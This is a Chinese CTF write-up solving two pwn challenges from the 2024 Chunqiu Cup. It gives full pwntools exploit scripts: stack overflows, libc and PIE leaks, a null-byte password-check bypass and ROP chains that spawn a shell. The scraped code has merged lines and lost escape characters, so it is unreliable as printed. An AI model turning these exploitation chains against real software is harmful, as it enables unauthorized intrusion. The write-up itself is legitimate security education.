web选手入门pwn(17) ——2024年春秋杯夏季赛pwn

WriteUp 1个月前 admin
116 0 0

1.    前言
因为沉迷web,所以pwn没时间去做,现在回过头来看pwn题出的挺有意思,也在自己的能力范围之内,如果不做web,pwn应该还是能做出来几题的。


2.    stdout (全缓冲)
给了libc-2.31。

web选手入门pwn(17) ——2024年春秋杯夏季赛pwn

看起来像是基础栈溢出,给了个后门函数,但不是system而是个更大的栈溢出。

web选手入门pwn(17) ——2024年春秋杯夏季赛pwn

偏移量88,但只能写0x60=96,因此必须用vuln()二次溢出。

web选手入门pwn(17) ——2024年春秋杯夏季赛pwn

from pwn import *
context.log_level = 'debug'context.arch='amd64'
sh = gdb.debug("./pwn","b *vulnnc")#sh = process("./pwn")elf = ELF("./pwn")libc = ELF("/home/sonomon/glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc-2.31.so")
vuln = 0x40125D
payload = "A"*88 + p64(vuln)sh.sendline(payload)
sh.interactive()

成功进入vuln()

web选手入门pwn(17) ——2024年春秋杯夏季赛pwn

然后测出偏移量是39这个奇怪的数值,这是因为用了sendline,换成send来溢出,成功泄露libc。

from pwn import *
context.log_level = 'debug'context.arch='amd64'
#sh = gdb.debug("./pwn","b *vulnnc")sh = process("./pwn")elf = ELF("./pwn")libc = ELF("/home/sonomon/glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc-2.31.so")
puts_plt = elf.plt['puts']exit_plt = elf.plt['exit']got_puts = elf.got['puts']vuln = 0x40125Dpop_rdi_ret = 0x4013d3
payload = "A"*88 + p64(vuln)sh.send(payload)payload = "B"*40 + p64(pop_rdi_ret) + p64(got_puts) + p64(puts_plt) + p64(exit_plt)sh.send(payload)sh.interactive()

web选手入门pwn(17) ——2024年春秋杯夏季赛pwn

但这些都是假象,gdb中单步调试可以看到,puts结束之后还是没打印libc,一直到程序完全退出之后才打印。
这是因为程序的init()使用了全缓冲。

web选手入门pwn(17) ——2024年春秋杯夏季赛pwn

在全缓冲模式下,得如下情况才能打印数据,刚刚我们碰到的是第三种情况。

web选手入门pwn(17) ——2024年春秋杯夏季赛pwn

如果程序退出了,泄露的libc将毫无意义。所以我们得采取第一种办法,题目中还提供了extend()帮我们填满缓冲区。

web选手入门pwn(17) ——2024年春秋杯夏季赛pwn

调用20次extend()之后,缓冲区被填满,泄露libc。

from pwn import *
context.log_level = 'debug'context.arch='amd64'
#sh = gdb.debug("./pwn","b *vulnnc")sh = process("./pwn")elf = ELF("./pwn")libc = ELF("/home/sonomon/glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc-2.31.so")
puts_plt = elf.plt['puts']exit_plt = elf.plt['exit']got_puts = elf.got['puts']extend = 0x401287vuln = 0x40125Dpop_rdi_ret = 0x4013d3
payload = "A"*88 + p64(vuln)sh.send(payload)payload = "B"*40 + p64(pop_rdi_ret) + p64(got_puts) + p64(puts_plt) + p64(vuln)sh.send(payload)payload = "B"*40 + p64(extend) + p64(vuln)for i in range(0,21): sh.send(payload)
sh.interactive()

web选手入门pwn(17) ——2024年春秋杯夏季赛pwn

剩下的就简单很多。不过这题用system()打不通,必须用execve(“/bin/sh”, 0, 0)
那么我们就得找pop rdi,pop rsi和pop rdx。

web选手入门pwn(17) ——2024年春秋杯夏季赛pwn

没有rdx怎么办呢?可以在libc里面找,用的时候加上基地址。

web选手入门pwn(17) ——2024年春秋杯夏季赛pwn

最终exp

from pwn import *
context.log_level = 'debug'context.arch='amd64'
#sh = gdb.debug("./pwn","b *vulnnc")sh = process("./pwn")elf = ELF("./pwn")libc = ELF("/home/sonomon/glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc-2.31.so")libc_puts = libc.sym['puts']libc_system = libc.sym['execve']libc_binsh = libc.search('/bin/sh').next()
puts_plt = elf.plt['puts']exit_plt = elf.plt['exit']got_puts = elf.got['puts']extend = 0x401287vuln = 0x40125Dpop_rdi_ret = 0x4013d3pop_rsi_r15_ret = 0x4013d1

payload = "A"*88 + p64(vuln)sh.send(payload)payload = "B"*40 + p64(pop_rdi_ret) + p64(got_puts) + p64(puts_plt) + p64(vuln)sh.send(payload)payload = "B"*40 + p64(extend) + p64(vuln)for i in range(0,21): sh.send(payload)
puts_addr = u64(sh.recvuntil("x7f")[-6:]+"x00x00")print(hex(puts_addr))libc_base = puts_addr - libc_putssystem_addr = libc_system + libc_basebinsh_addr = libc_binsh + libc_base
pop_rdx_r12_ret = 0x11c1e1 + libc_base
payload = "B"*40 + p64(pop_rdi_ret) + p64(binsh_addr) + p64(pop_rsi_r15_ret) + p64(0)+ p64(0) + p64(pop_rdx_r12_ret) + p64(0) + p64(0) + p64(system_addr)sh.send(payload)
sh.interactive()

web选手入门pwn(17) ——2024年春秋杯夏季赛pwn


3.    simpleSys
这题不提供libc,直接用kali自己的libc做的。
简单优化一下IDA的F5结果

web选手入门pwn(17) ——2024年春秋杯夏季赛pwn

是个登录注册程序

web选手入门pwn(17) ——2024年春秋杯夏季赛pwn

不让你注册root用户

web选手入门pwn(17) ——2024年春秋杯夏季赛pwn

但登录的时候,root用户的密码似乎是硬编码在aDghpcybpcybwyx中的。

web选手入门pwn(17) ——2024年春秋杯夏季赛pwn

web选手入门pwn(17) ——2024年春秋杯夏季赛pwn

很显然的base64,decode一下【this is password】
那么sub_189C显然就是base64_encode。用【root/this is password】登录就行了?尝试了一下发现不行,gdb进去看一眼。

web选手入门pwn(17) ——2024年春秋杯夏季赛pwn

可以发现,虽然base64之后的password完全一样,但是aDghpcybpcybwyx粘了一个0x1,导致len变成了0x19。也就是这两个字符串进行比较

dGhpcyBpcyBwYXNzd29yZA==[0x0]dGhpcyBpcyBwYXNzd29yZA==[0x1]

密码经过base64之后只存在字母数字等号斜杠加号这些,显然没法写个0x1进去。但是末尾会自动写个0x0。

web选手入门pwn(17) ——2024年春秋杯夏季赛pwn

而且比较的两者地址完全紧挨着,我们可以将0x0溢出到0x555555558050,尝试了一下,34个A就可以覆盖到了。

web选手入门pwn(17) ——2024年春秋杯夏季赛pwn

覆盖之后len就是0,因此strncmp一定通过。

web选手入门pwn(17) ——2024年春秋杯夏季赛pwn

获取root之后,看看bio()

web选手入门pwn(17) ——2024年春秋杯夏季赛pwn

s[91],校验了v3>80就break,v3经过了sub_1268()的atoi(), 可以靠-1进行绕过,也不影响readn(),这样再输入字符串就可以进行栈溢出。

web选手入门pwn(17) ——2024年春秋杯夏季赛pwn

那么就可以写poc去gdb里找偏移了。

from pwn import *
context.log_level = 'debug'context.arch='amd64'
sh = gdb.debug("./main","b *0x5555555554fanc")#sh = process("./main")
elf = ELF("./main")libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
sh.sendlineafter("choice: ","2")sh.sendlineafter("username: ","root")sh.sendlineafter("password: ","A" * 34)sh.sendlineafter("choice: ","3")sh.sendlineafter("length: ","-1")sh.interactive()

web选手入门pwn(17) ——2024年春秋杯夏季赛pwn

熟练的puts_plt(puts_got)泄露libc。这个时候尴尬的发现这题开了PIE,text地址是随机的。
不过后面有个printf(“confirm your bio: %s [y/n]”, s);会帮我们打印栈。此时选一个合适的栈上存储的text地址泄露就行了。

web选手入门pwn(17) ——2024年春秋杯夏季赛pwn

sh.sendline("A"*72)

web选手入门pwn(17) ——2024年春秋杯夏季赛pwn

有了text基地址,再走泄露libc那一套。

from pwn import *
context.log_level = 'debug'context.arch='amd64'
#sh = gdb.debug("./main","b *0x5555555554fanc")sh = process("./main")
elf = ELF("./main")libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
sh.sendlineafter("choice: ","2")sh.sendlineafter("username: ","root")sh.sendlineafter("password: ","A" * 34)sh.sendlineafter("choice: ","3")sh.sendlineafter("length: ","-1")
payload = "A"*72sh.sendline(payload)text_1297 = u64(sh.recvuntil("[y")[-9:-3] + "x00x00")text_base = text_1297 - 0x1297#print(hex(text_base))puts_plt = elf.plt['puts'] + text_baseputs_got = elf.got['puts'] + text_basepop_rdi_ret = 0x1751 + text_basebio_fun = 0x146A + text_base
sh.sendlineafter("n]","n")sh.sendlineafter("length: ","-1")
payload = "A"*104 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(bio_fun)sh.sendline(payload)sh.sendlineafter("n]","y")
sh.interactive()

web选手入门pwn(17) ——2024年春秋杯夏季赛pwn

那么getshell的exp就出来了(最后用个ret平衡下栈)。

from pwn import *
context.log_level = 'debug'context.arch='amd64'
#sh = gdb.debug("./main","b *0x5555555554fanc")sh = process("./main")
elf = ELF("./main")libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")libc_puts = libc.sym['puts']libc_system = libc.sym['system']libc_binsh = libc.search('/bin/sh').next()

sh.sendlineafter("choice: ","2")sh.sendlineafter("username: ","root")sh.sendlineafter("password: ","A" * 34)sh.sendlineafter("choice: ","3")
sh.sendlineafter("length: ","-1")payload = "A"*72sh.sendline(payload)text_1297 = u64(sh.recvuntil("[y")[-9:-3] + "x00x00")text_base = text_1297 - 0x1297print(hex(text_base))puts_plt = elf.plt['puts'] + text_baseputs_got = elf.got['puts'] + text_basepop_rdi_ret = 0x1751 + text_baseret = 0x1567 + text_basebio_fun = 0x146A + text_basesh.sendlineafter("n]","n")
sh.sendlineafter("length: ","-1")payload = "A"*104 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(bio_fun)sh.sendline(payload)sh.sendlineafter("n]","y")
puts_addr = u64(sh.recvuntil("x7f")[-6:]+"x00x00")libc_base = puts_addr - libc_putsprint(hex(libc_base))system_addr = libc_system + libc_basebinsh_addr = libc_binsh + libc_base
sh.sendlineafter("length: ","-1")payload = "A"*104 + p64(ret) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)sh.sendline(payload)sh.sendlineafter("n]","y")
sh.interactive()

web选手入门pwn(17) ——2024年春秋杯夏季赛pwn

但回过头来一想,其实泄露text地址这一步也可以泄露libc嘛,atoi+16不就在它上面吗。

web选手入门pwn(17) ——2024年春秋杯夏季赛pwn

pop_rdi_ret和ret也都可以在libc上面找,这样就能在完全不知道text基地址的情况下直接getshell。

from pwn import *
context.log_level = 'debug'context.arch='amd64'
#sh = gdb.debug("./main","b *0x5555555554fanc")sh = process("./main")
elf = ELF("./main")libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")libc_atoi = libc.sym['atoi']libc_system = libc.sym['system']libc_binsh = libc.search('/bin/sh').next()

sh.sendlineafter("choice: ","2")sh.sendlineafter("username: ","root")sh.sendlineafter("password: ","A" * 34)sh.sendlineafter("choice: ","3")
sh.sendlineafter("length: ","-1")payload = "A"*56sh.sendline(payload)atoi_16_addr = u64(sh.recvuntil("[y")[-9:-3] + "x00x00")libc_base = atoi_16_addr - libc_atoi - 16print(hex(libc_base))system_addr = libc_system + libc_basebinsh_addr = libc_binsh + libc_basepop_rdi_ret = 0x27725 + libc_baseret = 0x270c2 + libc_basesh.sendlineafter("n]","n")
sh.sendlineafter("length: ","-1")payload = "A"*104 + p64(ret) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)sh.sendline(payload)sh.sendlineafter("n]","y")
sh.interactive()

web选手入门pwn(17) ——2024年春秋杯夏季赛pwn

原文始发于微信公众号(珂技知识分享):web选手入门pwn(17) ——2024年春秋杯夏季赛pwn

版权声明:admin 发表于 2024年8月9日 下午6:05。
转载请注明:web选手入门pwn(17) ——2024年春秋杯夏季赛pwn | CTF导航

相关文章